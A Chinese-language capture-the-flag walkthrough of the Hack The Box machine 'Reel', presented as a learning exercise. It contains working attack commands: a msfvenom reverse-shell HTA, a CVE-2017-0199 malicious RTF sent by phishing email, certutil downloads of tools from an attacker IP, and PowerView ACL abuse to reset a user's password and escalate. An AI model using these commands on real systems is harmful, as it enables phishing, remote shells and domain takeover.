【Hack The Box】windows练习-- Reel
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月17日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_05-29-18 12:19AM <DIR> documents
| ftp-syst:
|_ SYST: Windows_NT
22/tcp open ssh OpenSSH 7.6 (protocol 2.0)
| ssh-hostkey:
| 2048 82:20:c3:bd:16:cb:a2:9c:88:87:1d:6c:15:59:ed:ed (RSA)
| 256 23:2b:b8:0a:8c:1c:f4:4d:8d:7e:5e:64:58:80:33:45 (ECDSA)
|_ 256 ac:8b:de:25:1d:b7:d8:38:38:9b:9c:16:bf:f6:3f:ed (ED25519)
25/tcp open smtp?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, X11Probe:
| 220 Mail Service ready
| FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest:
| 220 Mail Service ready
| sequence of commands
| sequence of commands
| Hello:
| 220 Mail Service ready
| EHLO Invalid domain address.
| Help:
| 220 Mail Service ready
| DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| SIPOptions:
| 220 Mail Service ready
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
|_ sequence of commands
| sequence of commands
| smtp-commands: REEL, SIZE 20480000, AUTH LOGIN PLAIN, HELP,
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
ftp,ssh,smtp(有东西),
因为讲了匿名登陆,所以密码就是Anonymous
发现txt如下
readme.txt
RTF 是 Microsoft 产品(如 Word 和 Office)使用的文本文件格式。 RTF 或富文本格式文件由 Microsoft 于 1987 年开发,用于其产品和跨平台文档交换。 大多数文字处理器都可以读取 RTF。
分析另一个,打开是乱码,直接exiftool分析,得到邮件地址
exiftool Windows\ Event\ Forwarding.docx
有了这个,那我就准备利用rtf钓哈鱼,但是在此之前我准备先把别的信息收集到位,因为你和高手的差距只有信息收集的细致程度
另外一个docx文件要我
要记录的 AppLocker 程序 - exe、msi 和脚本(ps1、vbs、cmd、bat、js)的哈希规则生效。
smtp的枚举
HELO 0xdf.com
MAIL FROM: 0xdf@aol.com
RCPT TO: 0xdf@megabank.com
RCPT TO: nico@megabank.com
我发现他只接受0xdf@megabank.com
CVE-2017-0199
描述: 此模块创建一个恶意 RTF 文件,当在 易受攻击的 Microsoft Word 版本将导致代码执行。 该缺陷存在于 olelink
对象如何发出 http(s) 请求, 并执行 hta 代码作为响应。 这个错误最初被认为是 从 2016 年 10
月开始在野外被利用。这个模块是创建的 通过逆转公共恶意软件样本。
为了利用 CVE-2017-0199,我将让用户打开一个恶意 RTF 文件,该文件将对 HTA 文件发出 HTTP 请求。 我希望那个 HTA 文件执行代码给我一个 shell。
exp在此
https://github.com/bhdresh/CVE-2017-0199
操作流程:
1. 生成rtf反弹shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.8 LPORT=8888 -f hta-psh -o msfv.hta
2. 利用exp将rtf编译成hta
python2 cve-2017-0199_toolkit.py -M gen -w invoice.rtf -u http://10.10.14.8/msfv.hta -t rtf -x 0
-M gen- 生成文档
-w invoice.rtf- 输出文件名
-u http://10.10.14.3/msfv.hta- 获取 hta 的 URL
-t rtf- 创建 rtf 文档(相对于 ppsx)
-x 0- 禁用 rtf 混淆
而后发送邮件
sendEmail -f 0xdf@megabank.com -t nico@megabank.com -u "Invoice Attached" -m "You are overdue payment" -a invoice.rtf -s 10.129.118.220 -v
或者
swaks --server 10.129.118.220 --from wolf@megabank.com --to nico@megabank.com --header 'Subject:Please Review this' --attach invoice.rtf
-f- 从地址,可以是任何东西,只要域存在
-t- 讲话, nico@megabank.com
-u- 主题
-m- 身体
-a- 附件
-s- smtp 服务器
-v- 详细
本地不要忘记了开端口接shell
在用户桌面发现了一个cred.xml
打开发现是PSCredential的格式
PowerShell 有一个称为 PSCredential 的对象,它提供了一种存储用户名、密码和凭据的方法。
我可以通过加载文件从文件中获取明文密码 Import-CliXml,然后转储结果
并且他是objs开头
powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *"
解密之后得到了tom的凭据
UserName : Tom
Password : 1ts-mag1c!!!
紧接着ssh登陆
ssh tom@10.10.10.77
这很明显提醒我们使用bloodhount,还告诉我们没有直接去admin的路径,还说也许我们应该针对我们创建的其他组重新运行 Cypher 查询。
页面只有一个csv文件,我们要获得它,需要老版本
要在 Kali 上安装 Bloodhound,您可以 apt install bloodhound. 但是要获得旧版本,我将从源代码构建它。
在 /opt/目录下, git clone
https://github.com/BloodHoundAD/BloodHound.git
cd BloodHound进入目录
git checkout a3d5d02226.
然后我从这个页面运行命令(从源代码构建)(https://github.com/BloodHoundAD/BloodHound/wiki/Building-BloodHound-from-source)。接下来的步骤是相同的 apt从源头安装或构建:
neo4j console,这将打开 neo4j网页界面
http://127.0.0.1:7474/使用用户名/密码“neo4j”/“neo4j”。 您必须在登录时更改密码。 关闭窗口(但不要退出 neo4j在控制台中)。 bloodhound从新的终端窗口。 使用您刚刚设置的凭据登录: powershell
-version 2 -nop -exec bypass
如果不想这么麻烦,也可以自己上传一个ps1,但是要你自己找一个可读写的目录
下载
certutil.exe -urlcache -split -f http://10.10.14.8/SharpHound.ps1 C:\Users\tom\desktop\ SharpHound.ps1
导入模块并执行
powershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all"
执行
Invoke-BloodHound -CollectAll
将对象所有者更改为攻击者控制的用户接管对象
首先我们成为了 Claire 的 ACL 的所有者
然后我们获得重置密码权限
并使用该权限进行更改。
certutil -urlcache -split -f http://10.10.14.30/PowerView.ps1
Import-Module .\PowerView.ps1
接下来,我将 tom 设置为 claire 的 ACL 的所有者:
Set-DomainObjectOwner -identity claire -OwnerIdentity tom
接下来,我将授予 tom 更改该 ACL 上的密码的权限:
Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword
现在,我将创建一个凭证,然后设置克莱尔的密码:
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
并启用密码
Set-DomainUserPassword -identity claire -accountpassword $SecPassword
ssh claire@10.10.10.77
而后我可以按照我设置的密码登陆
net group backup_admins
看到该组唯一成员是ranj
现在添加claire
net group backup_admins claire /add
尽管它显示克莱尔现在在组中,但我必须注销并重新登录才能使其生效。
紧接着我继续登陆claire
遍历,浏览
claire@REEL C:\Users\Administrator\Desktop\Backup Scripts>dir
Volume in drive C has no label.
Volume Serial Number is CC8A-33E1
Directory of C:\Users\Administrator\Desktop\Backup Scripts
11/02/2017 10:47 PM <DIR> .
11/02/2017 10:47 PM <DIR> ..
11/04/2017 12:22 AM 845 backup.ps1
11/02/2017 10:37 PM 462 backup1.ps1
11/04/2017 12:21 AM 5,642 BackupScript.ps1
11/02/2017 10:43 PM 2,791 BackupScript.zip
11/04/2017 12:22 AM 1,855 folders-system-state.txt
11/04/2017 12:22 AM 308 test2.ps1.txt
6 File(s) 11,903 bytes
2 Dir(s) 15,761,108,992 bytes free
每个都打开看一看,发现BackupScript.ps1 里面有管理员账户密码
$password=“Cr4ckMeIfYouC4n!”